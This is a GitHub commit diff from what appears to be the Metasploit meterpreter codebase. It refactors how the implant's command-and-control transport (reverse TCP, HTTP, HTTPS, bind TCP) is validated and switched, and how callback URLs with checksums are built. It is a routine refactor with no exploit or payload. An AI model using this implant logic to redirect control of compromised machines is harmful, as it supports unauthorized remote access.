Skip to content

Commit 47fa978

Browse files
committed
Code fixes as per suggestions, fix build
* Use of `ERROR_FAILURE_WINDOWS` in python meterpreter. * Moving of constants/logic to client_core instead of command_dispatcher. * Fix spec include.
1 parent 01bdf54 commit 47fa978

File tree

4 files changed

+42
-26
lines changed

4 files changed

+42
-26
lines changed

data/meterpreter/meterpreter.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -578,7 +578,7 @@ def _core_machine_id(self, request, response):
578578
k32 = ctypes.windll.kernel32
579579
sys_dir = ctypes.create_unicode_buffer(260)
580580
if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
581-
return ERROR_FAILURE
581+
return ERROR_FAILURE_WINDOWS
582582

583583
vol_buf = ctypes.create_unicode_buffer(260)
584584
fs_buf = ctypes.create_unicode_buffer(260)
@@ -587,7 +587,7 @@ def _core_machine_id(self, request, response):
587587
if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
588588
vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
589589
None, fs_buf, ctypes.sizeof(fs_buf)):
590-
return ERROR_FAILURE
590+
return ERROR_FAILURE_WINDOWS
591591
serial_num = serial_num.value
592592
serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF)
593593
else:

lib/rex/post/meterpreter/client_core.rb

Lines changed: 31 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -34,6 +34,18 @@ class ClientCore < Extension
3434
UNIX_PATH_MAX = 108
3535
DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock"
3636

37+
METERPRETER_TRANSPORT_SSL = 0
38+
METERPRETER_TRANSPORT_HTTP = 1
39+
METERPRETER_TRANSPORT_HTTPS = 2
40+
41+
VALID_TRANSPORTS = {
42+
'reverse_tcp' => METERPRETER_TRANSPORT_SSL,
43+
'reverse_http' => METERPRETER_TRANSPORT_HTTP,
44+
'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
45+
'bind_tcp' => METERPRETER_TRANSPORT_SSL
46+
}
47+
48+
3749
include Rex::Payloads::Meterpreter::UriChecksum
3850

3951
#
@@ -241,20 +253,28 @@ def machine_id
241253
end
242254

243255
def change_transport(opts={})
256+
transport = opts[:type].downcase
257+
258+
unless valid_transport?(transport)
259+
raise ArgumentError, "#{transport} is not a valid transport"
260+
end
261+
244262
request = Packet.create_request('core_change_transport')
245263

246-
url = "#{opts[:scheme]}://#{opts[:lhost]}:#{opts[:lport]}"
264+
scheme = transport.split('_')[1]
265+
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
247266

248-
if opts[:adduri]
267+
unless transport.ends_with?('tcp')
249268
checksum = generate_uri_checksum(URI_CHECKSUM_CONN)
250269
rand = Rex::Text.rand_text_alphanumeric(16)
251270
url << "/#{checksum}_#{rand}/"
252271
end
253272

254-
request.add_tlv(TLV_TYPE_TRANSPORT_TYPE, opts[:type])
273+
request.add_tlv(TLV_TYPE_TRANSPORT_TYPE, VALID_TRANSPORTS[transport])
255274
request.add_tlv(TLV_TYPE_TRANSPORT_URL, url)
256275

257-
response = client.send_request(request)
276+
client.send_request(request)
277+
return true
258278
end
259279

260280
#
@@ -439,6 +459,13 @@ def shutdown
439459
true
440460
end
441461

462+
#
463+
# Indicates if the given transport is a valid transport option.
464+
#
465+
def valid_transport?(transport)
466+
VALID_TRANSPORTS.has_key?(transport.downcase)
467+
end
468+
442469
private
443470

444471
def generate_payload_stub(process)

lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb

Lines changed: 8 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -18,18 +18,6 @@ class Console::CommandDispatcher::Core
1818

1919
include Console::CommandDispatcher
2020

21-
METERPRETER_TRANSPORT_SSL = 0
22-
METERPRETER_TRANSPORT_HTTP = 1
23-
METERPRETER_TRANSPORT_HTTPS = 2
24-
25-
VALID_TRANSPORTS = {
26-
'reverse_tcp' => METERPRETER_TRANSPORT_SSL,
27-
'reverse_http' => METERPRETER_TRANSPORT_HTTP,
28-
'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
29-
'bind_tcp' => METERPRETER_TRANSPORT_SSL
30-
}
31-
32-
3321
#
3422
# Initializes an instance of the core command set using the supplied shell
3523
# for interactivity.
@@ -341,37 +329,38 @@ def cmd_machine_id(*args)
341329
def cmd_transport(*args)
342330
if ( args.length == 0 or args.include?("-h") )
343331
#cmd_transport_help
344-
return true
332+
return
345333
end
346334

347335
transport = args.shift.downcase
348-
unless VALID_TRANSPORTS.has_key?(transport)
336+
unless client.core.valid_transport?(transport)
349337
#cmd_transport_help
338+
return
350339
end
351340

352341
if transport == 'bind_tcp'
353342
unless args.length == 1
354343
#cmd_transport_help
344+
return
355345
end
356346

357347
lhost = ""
358348
lport = args.shift.to_i
359349
else
360350
unless args.length == 2
361351
#cmd_transport_help
352+
return
362353
end
363354

364355
lhost = args.shift
365356
lport = args.shift.to_i
366357
end
367358

368-
print_status("Swapping transport ...")
359+
print_status("Swapping transport to #{transport} at #{lhost}:#{lport} ...")
369360
client.core.change_transport({
370-
:type => VALID_TRANSPORTS[transport],
371-
:scheme => transport.split('_')[1],
361+
:type => transport,
372362
:lhost => lhost,
373-
:lport => lport,
374-
:adduri => !transport.ends_with?('tcp')
363+
:lport => lport
375364
})
376365
client.shutdown_passive_dispatcher
377366
shell.stop

spec/lib/msf/core/handler/reverse_http/uri_checksum_spec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
require 'spec_helper'
2-
require 'msf/core/handler/reverse_http/uri_checksum'
2+
require 'rex/payloads/meterpreter/uri_checksum'
33

44
describe Msf::Handler::ReverseHttp::UriChecksum do
55
class DummyClass

0 commit comments

Comments
 (0)